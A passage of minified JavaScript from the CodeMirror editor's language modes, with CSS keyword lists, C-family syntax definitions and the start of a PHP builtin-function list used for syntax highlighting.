d=["align-content","align-items","align-self","alignment-adjust","alignment-baseline","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","baseline-shift","binding","bleed","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-feature-settings","font-family","font-kerning","font-language-override","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-weight","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-position","grid-auto-rows","grid-column","grid-column-end","grid-column-start","grid-row","grid-row-end","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","justify-content","left","letter-spacing","line-break","line-height","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marker-offset","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","max-height","max-width","min-height","min-width","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotation","rotation-point","ruby-align","ruby-overhang","ruby-position","ruby-span","shape-image-threshold","shape-inside","shape-margin","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-outline","text-overflow","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","word-break","word-spacing","word-wrap","z-index","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","text-anchor","writing-mode"],h=g(d);var m=["scrollbar-arrow-color","scrollbar-base-color","scrollbar-dark-shadow-color","scrollbar-face-color","scrollbar-highlight-color","scrollbar-shadow-color","scrollbar-3d-light-color","scrollbar-track-color","shape-inside","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","zoom"],e=g(m);var r=["font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"],f=g(r);var o=["additive-symbols","fallback","negative","pad","prefix","range","speak-as","suffix","symbols","system"],s=g(o);var c=["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","rebeccapurple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"],l=g(c);var j=["above","absolute","activeborder","additive","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alphabetic","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","attr","auto","avoid","avoid-column","avoid-page","avoid-region","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","bullets","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","calc","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-decimal","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","column","compact","condensed","contain","content","content-box","context-menu","continuous","copy","counter","counters","cover","crop","cross","crosshair","currentcolor","cursive","cyclic","dashed","decimal","decimal-leading-zero","default","default-button","destination-atop","destination-in","destination-out","destination-over","devanagari","disc","discard","disclosure-closed","disclosure-open","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-et","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","ethiopic-numeric","ew-resize","expanded","extends","extra-condensed","extra-expanded","fantasy","fast","fill","fixed","flat","flex","footnotes","forwards","from","geometricPrecision","georgian","graytext","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-flex","inline-table","inset","inside","intrinsic","invert","italic","japanese-formal","japanese-informal","justify","kannada","katakana","katakana-iroha","keep-all","khmer","korean-hangul-formal","korean-hanja-formal","korean-hanja-informal","landscape","lao","large","larger","left","level","lighter","line-through","linear","linear-gradient","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","malayalam","match","matrix","matrix3d","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","numbers","numeric","nw-resize","nwse-resize","oblique","octal","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","perspective","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radial-gradient","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeating-linear-gradient","repeating-radial-gradient","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","rotate","rotate3d","rotateX","rotateY","rotateZ","round","row-resize","rtl","run-in","running","s-resize","sans-serif","scale","scale3d","scaleX","scaleY","scaleZ","scroll","scrollbar","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","semi-condensed","semi-expanded","separate","serif","show","sidama","simp-chinese-formal","simp-chinese-informal","single","skew","skewX","skewY","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","solid","somali","source-atop","source-in","source-out","source-over","space","spell-out","square","square-button","start","static","status-bar","stretch","stroke","sub","subpixel-antialiased","super","sw-resize","symbolic","symbols","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","tamil","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","trad-chinese-formal","trad-chinese-informal","translate","translate3d","translateX","translateY","translateZ","transparent","ultra-condensed","ultra-expanded","underline","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","var","vertical","vertical-text","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","words","x-large","x-small","xor","xx-large","xx-small"],q=g(j);var n=k.concat(b).concat(v).concat(d).concat(m).concat(c).concat(j);p.registerHelper("hintWords","css",n);function u(z,y){var w=false,x;while((x=z.next())!=null){if(w&&x=="/"){y.tokenize=null;break}w=(x=="*")}return["comment","comment"]}p.defineMIME("text/css",{documentTypes:a,mediaTypes:t,mediaFeatures:i,propertyKeywords:h,nonStandardPropertyKeywords:e,fontProperties:f,counterDescriptors:s,colorKeywords:l,valueKeywords:q,tokenHooks:{"/":function(x,w){if(!x.eat("*")){return false}w.tokenize=u;return u(x,w)}},name:"css"});p.defineMIME("text/x-scss",{mediaTypes:t,mediaFeatures:i,propertyKeywords:h,nonStandardPropertyKeywords:e,colorKeywords:l,valueKeywords:q,fontProperties:f,allowNested:true,tokenHooks:{"/":function(x,w){if(x.eat("/")){x.skipToEnd();return["comment","comment"]}else{if(x.eat("*")){w.tokenize=u;return u(x,w)}else{return["operator","operator"]}}},":":function(w){if(w.match(/\s*\{/)){return[null,"{"]}return false},"$":function(w){w.match(/^[\w-]+/);if(w.match(/^\s*:/,false)){return["variable-2","variable-definition"]}return["variable-2","variable"]},"#":function(w){if(!w.eat("{")){return false}return[null,"interpolation"]}},name:"css",helperType:"scss"});p.defineMIME("text/x-less",{mediaTypes:t,mediaFeatures:i,propertyKeywords:h,nonStandardPropertyKeywords:e,colorKeywords:l,valueKeywords:q,fontProperties:f,allowNested:true,tokenHooks:{"/":function(x,w){if(x.eat("/")){x.skipToEnd();return["comment","comment"]}else{if(x.eat("*")){w.tokenize=u;return u(x,w)}else{return["operator","operator"]}}},"@":function(w){if(w.eat("{")){return[null,"interpolation"]}if(w.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/,false)){return false}w.eatWhile(/[\w\\\-]/);if(w.match(/^\s*:/,false)){return["variable-2","variable-definition"]}return["variable-2","variable"]},"&":function(){return["atom","atom"]}},name:"css",helperType:"less"})});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(c){c.defineMode("clike",function(L,s){var F=L.indentUnit,B=s.statementIndentUnit||F,G=s.dontAlignCalls,v=s.keywords||{},z=s.types||{},M=s.builtin||{},H=s.blockKeywords||{},D=s.defKeywords||{},o=s.atoms||{},n=s.hooks||{},A=s.multiLineStrings,w=s.indentStatements!==false,u=s.indentSwitch!==false,q=s.namespaceSeparator;var x=/[+\-*&%=<>!?|\/]/;var J,r;function N(S,Q){var P=S.next();if(n[P]){var O=n[P](S,Q);if(O!==false){return O}}if(P=='"'||P=="'"){Q.tokenize=t(P);return Q.tokenize(S,Q)}if(/[\[\]{}\(\),;\:\.]/.test(P)){J=P;return null}if(/\d/.test(P)){S.eatWhile(/[\w\.]/);return"number"}if(P=="/"){if(S.eat("*")){Q.tokenize=C;return C(S,Q)}if(S.eat("/")){S.skipToEnd();return"comment"}}if(x.test(P)){S.eatWhile(x);return"operator"}S.eatWhile(/[\w\$_\xa1-\uffff]/);if(q){while(S.match(q)){S.eatWhile(/[\w\$_\xa1-\uffff]/)}}var R=S.current();if(v.propertyIsEnumerable(R)){if(H.propertyIsEnumerable(R)){J="newstatement"}if(D.propertyIsEnumerable(R)){r=true}return"keyword"}if(z.propertyIsEnumerable(R)){return"variable-3"}if(M.propertyIsEnumerable(R)){if(H.propertyIsEnumerable(R)){J="newstatement"}return"builtin"}if(o.propertyIsEnumerable(R)){return"atom"}return"variable"}function t(O){return function(T,R){var S=false,Q,P=false;while((Q=T.next())!=null){if(Q==O&&!S){P=true;break}S=!S&&Q=="\\"}if(P||!(S||A)){R.tokenize=null}return"string"}}function C(R,Q){var O=false,P;while(P=R.next()){if(P=="/"&&O){Q.tokenize=null;break}O=(P=="*")}return"comment"}function I(S,P,O,R,Q){this.indented=S;this.column=P;this.type=O;this.align=R;this.prev=Q}function y(O){return O=="statement"||O=="switchstatement"||O=="namespace"}function p(R,P,Q){var O=R.indented;if(R.context&&y(R.context.type)&&!y(Q)){O=R.context.indented}return R.context=new I(O,P,Q,null,R.context)}function K(P){var O=P.context.type;if(O==")"||O=="]"||O=="}"){P.indented=P.context.indented}return P.context=P.context.prev}function m(P,O){if(O.prevToken=="variable"||O.prevToken=="variable-3"){return true}if(/\S(?:[^- ]>|[*\]])\s*$|\*$/.test(P.string.slice(0,P.start))){return true}}function E(O){for(;;){if(!O||O.type=="top"){return true}if(O.type=="}"&&O.prev.type!="namespace"){return false}O=O.prev}}return{startState:function(O){return{tokenize:null,context:new I((O||0)-F,0,"top",false),indented:0,startOfLine:true,prevToken:null}},token:function(T,S){var P=S.context;if(T.sol()){if(P.align==null){P.align=false}S.indented=T.indentation();S.startOfLine=true}if(T.eatSpace()){return null}J=r=null;var R=(S.tokenize||N)(T,S);if(R=="comment"||R=="meta"){return R}if(P.align==null){P.align=true}if((J==";"||J==":"||J==",")){while(y(S.context.type)){K(S)}}else{if(J=="{"){p(S,T.column(),"}")}else{if(J=="["){p(S,T.column(),"]")}else{if(J=="("){p(S,T.column(),")")}else{if(J=="}"){while(y(P.type)){P=K(S)}if(P.type=="}"){P=K(S)}while(y(P.type)){P=K(S)}}else{if(J==P.type){K(S)}else{if(w&&(((P.type=="}"||P.type=="top")&&J!=";")||(y(P.type)&&J=="newstatement"))){var Q="statement";if(J=="newstatement"&&u&&T.current()=="switch"){Q="switchstatement"}else{if(R=="keyword"&&T.current()=="namespace"){Q="namespace"}}p(S,T.column(),Q)}}}}}}}if(R=="variable"&&((S.prevToken=="def"||(s.typeFirstDefinitions&&m(T,S)&&E(S.context)&&T.match(/^\s*\(/,false))))){R="def"}if(n.token){var O=n.token(T,S,R);if(O!==undefined){R=O}}if(R=="def"&&s.styleDefs===false){R="variable"}S.startOfLine=false;S.prevToken=r?"def":R||J;return R},indent:function(T,P){if(T.tokenize!=N&&T.tokenize!=null){return c.Pass}var O=T.context,S=P&&P.charAt(0);if(y(O.type)&&S=="}"){O=O.prev}var Q=S==O.type;var R=O.prev&&O.prev.type=="switchstatement";if(y(O.type)){return O.indented+(S=="{"?0:B)}if(O.align&&(!G||O.type!=")")){return O.column+(Q?0:1)}if(O.type==")"&&!Q){return O.indented+B}return O.indented+(Q?0:F)+(!Q&&R&&!/^(?:case|default)\b/.test(P)?F:0)},electricInput:u?/^\s*(?:case .*?:|default:|\{\}?|\})$/:/^\s*[{}]$/,blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//",fold:"brace"}});function i(p){var n={},o=p.split(" ");for(var m=0;m<o.length;++m){n[o[m]]=true}return n}var l="auto if break case register continue return default do sizeof static else struct switch extern typedef float union for goto while enum const volatile";var j="int long char short double float unsigned signed void size_t ptrdiff_t";function d(n,m){if(!m.startOfLine){return false}for(;;){if(n.skipTo("\\")){n.next();if(n.eol()){m.tokenize=d;break}}else{n.skipToEnd();m.tokenize=null;break}}return"meta"}function a(m,n){if(n.prevToken=="variable-3"){return"variable-3"}return false}function k(o,n){o.backUp(1);if(o.match(/(R|u8R|uR|UR|LR)/)){var m=o.match(/"([^\s\\()]{0,16})\(/);if(!m){return false}n.cpp11RawStringDelim=m[1];n.tokenize=g;return g(o,n)}if(o.match(/(u8|u|U|L)/)){if(o.match(/["']/,false)){return"string"}return false}o.next();return false}function e(n){var m=/(\w+)::(\w+)$/.exec(n);return m&&m[1]==m[2]}function h(o,n){var m;while((m=o.next())!=null){if(m=='"'&&!o.eat('"')){n.tokenize=null;break}}return"string"}function g(p,n){var o=n.cpp11RawStringDelim.replace(/[^\w\s]/g,"\\$&");var m=p.match(new RegExp(".*?\\)"+o+'"'));if(m){n.tokenize=null}else{p.skipToEnd()}return"string"}function b(m,q){if(typeof m=="string"){m=[m]}var p=[];function o(r){if(r){for(var s in r){if(r.hasOwnProperty(s)){p.push(s)}}}}o(q.keywords);o(q.types);o(q.builtin);o(q.atoms);if(p.length){q.helperType=m[0];c.registerHelper("hintWords",m[0],p)}for(var n=0;n<m.length;++n){c.defineMIME(m[n],q)}}b(["text/x-csrc","text/x-c","text/x-chdr"],{name:"clike",keywords:i(l),types:i(j+" bool _Complex _Bool float_t double_t intptr_t intmax_t int8_t int16_t int32_t int64_t uintptr_t uintmax_t uint8_t uint16_t uint32_t uint64_t"),blockKeywords:i("case do else for if switch while struct"),defKeywords:i("struct"),typeFirstDefinitions:true,atoms:i("null true false"),hooks:{"#":d,"*":a},modeProps:{fold:["brace","include"]}});b(["text/x-c++src","text/x-c++hdr"],{name:"clike",keywords:i(l+" asm dynamic_cast namespace reinterpret_cast try explicit new static_cast typeid catch operator template typename class friend private this using const_cast inline public throw virtual delete mutable protected alignas alignof constexpr decltype nullptr noexcept thread_local final static_assert override"),types:i(j+" bool wchar_t"),blockKeywords:i("catch class do else finally for if struct switch try while"),defKeywords:i("class namespace struct enum union"),typeFirstDefinitions:true,atoms:i("true false null"),hooks:{"#":d,"*":a,u:k,U:k,L:k,R:k,token:function(o,n,m){if(m=="variable"&&o.peek()=="("&&(n.prevToken==";"||n.prevToken==null||n.prevToken=="}")&&e(o.current())){return"def"}}},namespaceSeparator:"::",modeProps:{fold:["brace","include"]}});b("text/x-java",{name:"clike",keywords:i("abstract assert break case catch class const continue default do else enum extends final finally float for goto if implements import instanceof interface native new package private protected public return static strictfp super switch synchronized this throw throws transient try volatile while"),types:i("byte short int long float double boolean char void Boolean Byte Character Double Float Integer Long Number Object Short String StringBuffer StringBuilder Void"),blockKeywords:i("catch class do else finally for if switch try while"),defKeywords:i("class interface package enum"),typeFirstDefinitions:true,atoms:i("true false null"),hooks:{"@":function(m){m.eatWhile(/[\w\$_]/);return"meta"}},modeProps:{fold:["brace","import"]}});b("text/x-csharp",{name:"clike",keywords:i("abstract as async await base break case catch checked class const continue default delegate do else enum event explicit extern finally fixed for foreach goto if implicit in interface internal is lock namespace new operator out override params private protected public readonly ref return sealed sizeof stackalloc static struct switch this throw try typeof unchecked unsafe using virtual void volatile while add alias ascending descending dynamic from get global group into join let orderby partial remove select set value var yield"),types:i("Action Boolean Byte Char DateTime DateTimeOffset Decimal Double Func Guid Int16 Int32 Int64 Object SByte Single String Task TimeSpan UInt16 UInt32 UInt64 bool byte char decimal double short int long object sbyte float string ushort uint ulong"),blockKeywords:i("catch class do else finally for foreach if struct switch try while"),defKeywords:i("class interface namespace struct var"),typeFirstDefinitions:true,atoms:i("true false null"),hooks:{"@":function(n,m){if(n.eat('"')){m.tokenize=h;return h(n,m)}n.eatWhile(/[\w\$_]/);return"meta"}}});function f(o,m){var n=false;while(!o.eol()){if(!n&&o.match('"""')){m.tokenize=null;break}n=o.next()=="\\"&&!n}return"string"}b("text/x-scala",{name:"clike",keywords:i("abstract case catch class def do else extends false final finally for forSome if implicit import lazy match new null object override package private protected return sealed super this throw trait try type val var while with yield _ : = => <- <: <% >: # @ assert assume require print println printf readLine readBoolean readByte readShort readChar readInt readLong readFloat readDouble :: #:: "),types:i("AnyVal App Application Array BufferedIterator BigDecimal BigInt Char Console Either Enumeration Equiv Error Exception Fractional Function IndexedSeq Integral Iterable Iterator List Map Numeric Nil NotNull Option Ordered Ordering PartialFunction PartialOrdering Product Proxy Range Responder Seq Serializable Set Specializable Stream StringBuilder StringContext Symbol Throwable Traversable TraversableOnce Tuple Unit Vector Boolean Byte Character CharSequence Class ClassLoader Cloneable Comparable Compiler Double Exception Float Integer Long Math Number Object Package Pair Process Runtime Runnable SecurityManager Short StackTraceElement StrictMath String StringBuffer System Thread ThreadGroup ThreadLocal Throwable Triple Void"),multiLineStrings:true,blockKeywords:i("catch class do else finally for forSome if match switch try while"),defKeywords:i("class def object package trait type val var"),atoms:i("true false null"),indentStatements:false,indentSwitch:false,hooks:{"@":function(m){m.eatWhile(/[\w\$_]/);return"meta"},'"':function(n,m){if(!n.match('""')){return false}m.tokenize=f;return m.tokenize(n,m)},"'":function(m){m.eatWhile(/[\w\$_\xa1-\uffff]/);return"atom"}},modeProps:{closeBrackets:{triples:'"'}}});b(["x-shader/x-vertex","x-shader/x-fragment"],{name:"clike",keywords:i("sampler1D sampler2D sampler3D samplerCube sampler1DShadow sampler2DShadow const attribute uniform varying break continue discard return for while do if else struct in out inout"),types:i("float int bool void vec2 vec3 vec4 ivec2 ivec3 ivec4 bvec2 bvec3 bvec4 mat2 mat3 mat4"),blockKeywords:i("for while do if else struct"),builtin:i("radians degrees sin cos tan asin acos atan pow exp log exp2 sqrt inversesqrt abs sign floor ceil fract mod min max clamp mix step smoothstep length distance dot cross normalize ftransform faceforward reflect refract matrixCompMult lessThan lessThanEqual greaterThan greaterThanEqual equal notEqual any all not texture1D texture1DProj texture1DLod texture1DProjLod texture2D texture2DProj texture2DLod texture2DProjLod texture3D texture3DProj texture3DLod texture3DProjLod textureCube textureCubeLod shadow1D shadow2D shadow1DProj shadow2DProj shadow1DLod shadow2DLod shadow1DProjLod shadow2DProjLod dFdx dFdy fwidth noise1 noise2 noise3 noise4"),atoms:i("true false gl_FragColor gl_SecondaryColor gl_Normal gl_Vertex gl_MultiTexCoord0 gl_MultiTexCoord1 gl_MultiTexCoord2 gl_MultiTexCoord3 gl_MultiTexCoord4 gl_MultiTexCoord5 gl_MultiTexCoord6 gl_MultiTexCoord7 gl_FogCoord gl_PointCoord gl_Position gl_PointSize gl_ClipVertex gl_FrontColor gl_BackColor gl_FrontSecondaryColor gl_BackSecondaryColor gl_TexCoord gl_FogFragCoord gl_FragCoord gl_FrontFacing gl_FragData gl_FragDepth gl_ModelViewMatrix gl_ProjectionMatrix gl_ModelViewProjectionMatrix gl_TextureMatrix gl_NormalMatrix gl_ModelViewMatrixInverse gl_ProjectionMatrixInverse gl_ModelViewProjectionMatrixInverse gl_TexureMatrixTranspose gl_ModelViewMatrixInverseTranspose gl_ProjectionMatrixInverseTranspose gl_ModelViewProjectionMatrixInverseTranspose gl_TextureMatrixInverseTranspose gl_NormalScale gl_DepthRange gl_ClipPlane gl_Point gl_FrontMaterial gl_BackMaterial gl_LightSource gl_LightModel gl_FrontLightModelProduct gl_BackLightModelProduct gl_TextureColor gl_EyePlaneS gl_EyePlaneT gl_EyePlaneR gl_EyePlaneQ gl_FogParameters gl_MaxLights gl_MaxClipPlanes gl_MaxTextureUnits gl_MaxTextureCoords gl_MaxVertexAttribs gl_MaxVertexUniformComponents gl_MaxVaryingFloats gl_MaxVertexTextureImageUnits gl_MaxTextureImageUnits gl_MaxFragmentUniformComponents gl_MaxCombineTextureImageUnits gl_MaxDrawBuffers"),indentSwitch:false,hooks:{"#":d},modeProps:{fold:["brace","include"]}});b("text/x-nesc",{name:"clike",keywords:i(l+"as atomic async call command component components configuration event generic implementation includes interface module new norace nx_struct nx_union post provides signal task uses abstract extends"),types:i(j),blockKeywords:i("case do else for if switch while struct"),atoms:i("null true false"),hooks:{"#":d},modeProps:{fold:["brace","include"]}});b("text/x-objectivec",{name:"clike",keywords:i(l+"inline restrict _Bool _Complex _Imaginery BOOL Class bycopy byref id IMP in inout nil oneway out Protocol SEL self super atomic nonatomic retain copy readwrite readonly"),types:i(j),atoms:i("YES NO NULL NILL ON OFF true false"),hooks:{"@":function(m){m.eatWhile(/[\w\$]/);return"keyword"},"#":d},modeProps:{fold:"brace"}})});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed"),require("../clike/clike"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror","../htmlmixed/htmlmixed","../clike/clike"],a)}else{a(CodeMirror)}}})(function(d){function f(m){var k={},l=m.split(" ");for(var j=0;j<l.length;++j){k[l[j]]=true}return k}function e(l,j,k){if(l.length==0){return b(j)}return function(p,o){var n=l[0];for(var m=0;m<n.length;m++){if(p.match(n[m][0])){o.tokenize=e(l.slice(1),j);return n[m][1]}}o.tokenize=b(j,k);return"string"}}function b(k,j){return function(m,l){return c(m,l,k,j)}}function c(n,l,k,j){if(j!==false&&n.match("${",false)||n.match("{$",false)){l.tokenize=null;return"string"}if(j!==false&&n.match(/^\$[a-zA-Z_][a-zA-Z0-9_]*/)){if(n.match("[",false)){l.tokenize=e([[["[",null]],[[/\d[\w\.]*/,"number"],[/\$[a-zA-Z_][a-zA-Z0-9_]*/,"variable-2"],[/[\w\$]+/,"variable"]],[["]",null]]],k,j)}if(n.match(/\-\>\w/,false)){l.tokenize=e([[["->",null]],[[/[\w]+/,"variable"]]],k,j)}return"variable-2"}var m=false;while(!n.eol()&&(m||j===false||(!n.match("{$",false)&&!n.match(/^(\$[a-zA-Z_][a-zA-Z0-9_]*|\$\{)/,false)))){if(!m&&n.match(k)){l.tokenize=null;l.tokStack.pop();l.tokStack.pop();break}m=n.next()=="\\"&&!m}return"string"}var h="abstract and array as break case catch class clone const continue declare default do else elseif enddeclare endfor endforeach endif endswitch endwhile extends final for foreach function global goto if implements interface instanceof namespace new or private protected public static switch throw trait try use var while xor die echo empty exit eval include include_once isset list require require_once return print unset __halt_compiler self static parent yield insteadof finally";var i="true false null TRUE FALSE NULL __CLASS__ __DIR__ __FILE__ __LINE__ __METHOD__ __FUNCTION__ __NAMESPACE__ __TRAIT__";var a="func_num_args func_get_arg func_get_args strlen strcmp strncmp strcasecmp strncasecmp each error_reporting define defined trigger_error user_error set_error_handler restore_error_handler get_declared_classes get_loaded_extensions extension_loaded get_extension_funcs debug_backtrace constant bin2hex hex2bin sleep usleep time mktime gmmktime strftime gmstrftime strtotime date gmdate getdate localtime checkdate flush wordwrap htmlspecialchars htmlentities html_entity_decode md5 md5_file crc32 getimagesize image_type_to_mime_type phpinfo phpversion phpcredits strnatcmp strnatcasecmp substr_count strspn strcspn strtok strtoupper strtolower strpos strrpos strrev hebrev hebrevc nl2br basename dirname pathinfo stripslashes stripcslashes strstr stristr strrchr str_shuffle str_word_count strcoll substr substr_replace quotemeta ucfirst ucwords strtr addslashes addcslashes rtrim str_replace str_repeat count_chars chunk_split trim ltrim strip_tags similar_text explode implode setlocale localeconv parse_str str_pad chop strchr sprintf printf vprintf vsprintf sscanf fscanf parse_url urlencode urldecode rawurlencode rawurldecode readlink linkinfo link unlink exec system escapeshellcmd escapeshellarg passthru shell_exec proc_open proc_close rand srand getrandmax mt_rand mt_srand mt_getrandmax base64_decode base64_encode abs ceil floor round is_finite is_nan is_infinite bindec hexdec octdec decbin decoct dechex base_convert number_format fmod ip2long long2ip getenv putenv getopt microtime gettimeofday getrusage uniqid quoted_printable_decode set_time_limit get_cfg_var magic_quotes_runtime set_magic_quotes_runtime get_magic_quotes_gpc get_magic_quotes_runtime import_request_variables error_log serialize unserialize memory_get_usage var_dump var_export debug_zval_dump print_r highlight_file show_source highlight_string ini_get 